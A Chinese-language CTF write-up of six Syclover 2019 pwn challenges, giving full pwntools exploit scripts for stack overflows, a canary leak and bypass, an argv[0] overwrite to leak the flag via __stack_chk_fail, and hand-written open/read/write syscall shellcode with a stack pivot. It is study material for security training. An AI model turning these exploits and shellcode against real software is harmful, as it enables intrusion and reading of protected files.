Syclover2019 WP

pwn

Find Tools

  没有附件,只给了远程环境,目的是让我们使用pwntools工具,exp如下:

from pwn import *
p=remote('pwnto.fun',9999)
p.recvuntil("password:")
p.send('l1ve_l0ng_and_pwn')  #此处不能使用sendline(引入'\n')
p.recv()
print p.recv  #!将接收到的flag打印出来
#p.interactive()  这道题只是发送和接收包,flag是通过接收得到的,而不是通过拿到shell得到的,所以并不需要交互

pwntools IO模块使用:

p.send(data)  #发送数据
p.sendline(data)   #!!  发送数据和'\n'
p.recv(numb=2048,timeout=default)   #接收指定字节和超时的数据
p.recvline(keepends=True)     #接收一行数据
p.recvuntil("...",drop=false) #接收数据直到我们设置的标志
p.recvall( )    #一直接收到EOF为止
p.recvrepeat(timeout=default)    #持续接收直到EOF出现或超时
p.interactive( )    #得到shell后进入交互模式
Baby rop

查看保护:

开启了NX保护,rop解决,exp如下:

from pwn import *
context(log_level='debug')
p=remote('pwnto.fun',10000)
payload='a'*0x88+p64(0x400618)
#p.recvuntil('me?\n')
p.send(payload)
p.interactive()

注:

1.开启了NX保护,我们不能利用在数据域上的/bin/sh:

 

但是题目留了gadgets:

 

2.一开始按照代码逻辑应该是先puts( )的,但是nc连接测试后发现需要我们先输入,故直接发送payload即可

3.gets( )和read( )函数对应sendline( )&send( )的情况

Baby Shellcode

首先查看保护:

没有canary保护可以直接栈溢出,64位反汇编:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char v4; // [rsp+0h] [rbp-30h]
  void *buf; // [rsp+28h] [rbp-8h]
​
  buf = mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
  sub_400999();
  sub_400956();
  puts("A simple shellcode for U, have fun!");
  read(0, buf, 0x64uLL);
  puts("Why not play CSGO?");
  read(0, &v4, 0x64uLL);
  return 0LL;
}

其中,

void * mmap(void *start, size_t length, int prot , int flags, int fd, off_t offset)

start:要映射到的内存区域的起始地址,通常用NULL,表示由内核来指定该内存地址。所以我们看到buf指向从地址0x123000开始的一段内存,同时有两个可以利用的read函数,大致思路应该是:先向buf指向的内存中注入shellcode,再利用第二个read函数栈溢出执行我们的shellcode。

发现有hint:

和HitconTraining-LAB2极其相似,留了后门函数但是无法实现:

 

这是因为程序中开启了seccomp保护:

seccomp是一种内核中的安全机制,正常情况下程序可以使用所有的syscall,而使用了seccomp后我们可以禁用一些syscall。hint中提示我们只能使用open\write\read三个函数(orw),所以我们的任务就是注入通过open\write\read读取flag文件的shellcode,exp如下:

from pwn import *
context(arch='amd64',os='linux')
#生成64位下的shellcode
p=remote('pwnto.fun',12300)
#p=process('./RushB')
shellcode = shellcraft.pushstr("flag")  
#根据hint,flag和bin在同一目录下
shellcode += shellcraft.open("rsp")     
shellcode += shellcraft.read("rax", "rsp", 0x30)
shellcode += shellcraft.write(1, "rsp", 0x30)
#ssize_t read(int fd, void *buf, size_t count);
#ssize_t write (int fd, const void * buf, size_t count); 
p.recvuntil("A simple shellcode for U, have fun!\n")
p.send(asm(shellcode))
shellcode_addr=0x123000
p.recvuntil("CSGO?\n")
payload='a'*0x38+p64(shellcode_addr)
p.send(payload)
p.interactive() 
Baby Canary

如题,开启了canary保护和NX保护,这说明我们不能使用正常的栈溢出,

 

64位反汇编:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf; // ST08_8
  int fd; // [rsp+4h] [rbp-2Ch]
  char v6; // [rsp+10h] [rbp-20h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]
​
  v7 = __readfsqword(0x28u);
  init();
  fd = open("flag", 0);
  if ( fd < 0 )
  {
    printf("Not find flag, Wrong!");
    exit(0);
  }
  buf = malloc(0x20uLL);
  read(fd, buf, 0x10uLL);
  puts("Rop is easy for U, try bypass the check!");
  printf("Here is your key: %p\n", buf);
  puts("Say something before leaving.");
  gets((__int64)&v6);
  printf("I hava received your message, bye!");
  return 0;
}

其中,buf指向一段内存空间,flag文件的内容读入到了这段内存空间中,同时给了我们key,也即内存空间(flag文件内容)的地址。

在学长的hint下才有了解题的正确方式emmm,wtcl,其实这道题和上一道有一点相似之处在于我们不需要get shell,只需要读取flag文件内容。根据这两点,其实我们不需要执行key,而是得到key中存储的内容,这就排除了泄露\爆破canary的做法。所以这道题是触发canary,执行__stack_chk_fail( )函数,泄露出flag内容,原理如下:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
​
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminatedn",
                    msg, __libc_argv[0] ?: "<unknown>");
}

__stack_chk_fail( )函数定义中可以看出,报错信息会打印出__libc__argv[0]中存储的字符串, 如果我们将其覆盖成key值,就能打印出flag了。

在main( )函数下断点:

 

看到RSI寄存器中存储了参数__libc__argv[0],我们需要将其改成key,

 

从IDA中得到我们输入的字符串距离栈底ebp 0x20,通过|rbp-20h-rsi|的值来得到正确的偏移量,于是exp如下:

from pwn import *
context(log_level='debug')
p=remote('pwnto.fun',10007)
p.recvuntil("key: ")
flag_addr=int(p.recv(8),16)
#64位接收8个字节
#print flag_addr
payload='a'*0x108+p64(flag_addr)
#0x108就是我们的偏移量
p.recvuntil("leaving.\n")
p.send(payload)
p.interactive()
Easy canary

最常见的canary泄露套路,关键部分:

unsigned int fun()
{
  char buf; // [esp+8h] [ebp-20h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]
​
  v2 = __readgsdword(0x14u);
  puts("The is a baby rop ! Hava fun!");
  puts("So, do u have anything to tell me?");
  read(0, &buf, 0x32u);
  puts("Here is your gift: ");
  puts(&buf);
  puts("Keep try!");
  read(0, &buf, 0x64u);
  return __readgsdword(0x14u) ^ v2;
}

利用read( )函数触发canary保护机制后利用puts(&buf)函数泄露canary的值,利用第二次的read( )函数覆盖canary绕过保护,利用程序中的root函数(gadgets)实现栈溢出拿到shell,exp如下:

from pwn import *
context(log_level='debug')
p=remote('pwnto.fun',10001)
payload1='a'*(0x20-0xC)
p.recvuntil("me?\n")
p.sendline(payload1)
p.recvuntil("gift: \n")
p.recvuntil('a'*20)
canary=u32(p.recv(4))-0xa
print hex(canary)
p.recvuntil("try!\n")
payload2='a'*(0x20-0xC)+p32(canary)+'a'*0xC+p32(0x08048647)
p.send(payload2)
p.interactive()

注:此处我们必须发送多发送一个字节触发canary保护才能实现泄露.

Not bad
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
  sub_400949();
  sub_400906();
  sub_400A16();
  return 0LL;
}

程序一开始为我们分配了从0x123000开始的一段连续的内存空间,也就是说有一段内存可以供我们随便读写执行,比如写入并执行shellcode和存放flag内容,可以看到:

int sub_400A16()
{
  char buf; // [rsp+0h] [rbp-20h]
​
  puts("Easy shellcode, have fun!");
  read(0, &buf, 0x38uLL);
  return puts("Baddd! Focu5 me! Baddd! Baddd!");
}

这里的read的长度只有0x38,不够存放orw,因此我们这里可以利用构造rop,执行read函数,读入shellcode到分配的内存上,利用

栈迁移执行shellcode,exp如下:

from pwn import *
#p=process('./bad')
p=remote('pwnto.fun',12301)
context(log_level='debug',os='linux',arch='amd64')
#gdb.attach(p)
#jmp_rsp的地址
jmp_rsp_addr=0x0000000000400a01

#read(0,0x123000,0x100)
#x64下read函数的调用号为0(rax传入),rdi存放第一个参数,rsi存放第二个参数,rdx存放第三个参数
shellcode='''
xor rdi,rdi
push 0x123100
pop rsi
push 0x100
pop rdx
xor rax,rax
syscall
'''

#利用jmp rsp; sub rsp,xxx; jmp rsp; 劫持rsp控制程序执行流程,在栈上进行了跳转
sub_jmp='''
sub rsp,0x30
jmp rsp
'''
#劫持rsp到具体的地址
#此处曾尝试写入地址跳转值0X123000但在环境ubuntu18.04中一直无法实现
jmp_123100='''
push 0x123100
pop rsp
jmp rsp
'''

#将shellcode存放于0x123100处并劫持rsp进行执行
read_addr=asm(shellcode)+asm(jmp_123100)
#栈溢出
payload1=read_addr+'a'*(0x28-len(read_addr))+p64(jmp_rsp_addr)+asm(sub_jmp)

p.recvuntil("Easy shellcode, have fun!\n")
p.sendline(payload1)

#open(const char *filename,int flags,int mode) x64下调用号2(rax)
#push rsp把栈顶指针寄存器中的值也即指向文件路径的指针赋值给rdi
open='''
push 0x67616c66  
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
push 2
pop rax
syscall
'''

#read(unsigned int fd,char *buf,size_t count) 其中open函数的返回值也就是fd,存放于rax中
read='''
push rax
pop rdi
push 0x123200
pop rsi
push 0x100
pop rdx
xor rax,rax 
syscall
'''
#write(unsigned int fd,const char *buf,size_t count) 1为标准输出流,rsi和rdx不变,系统调用号为1
write='''
push 1
pop rdi
push 1
pop rax
syscall
'''
#在syscall read时注入shellcode
payload2=asm(open)+asm(read)+asm(write)
p.sendline(payload2)
p.interactive()
posted @ 2020-01-26 22:12  Theffth  阅读(406)  评论(0编辑  收藏  举报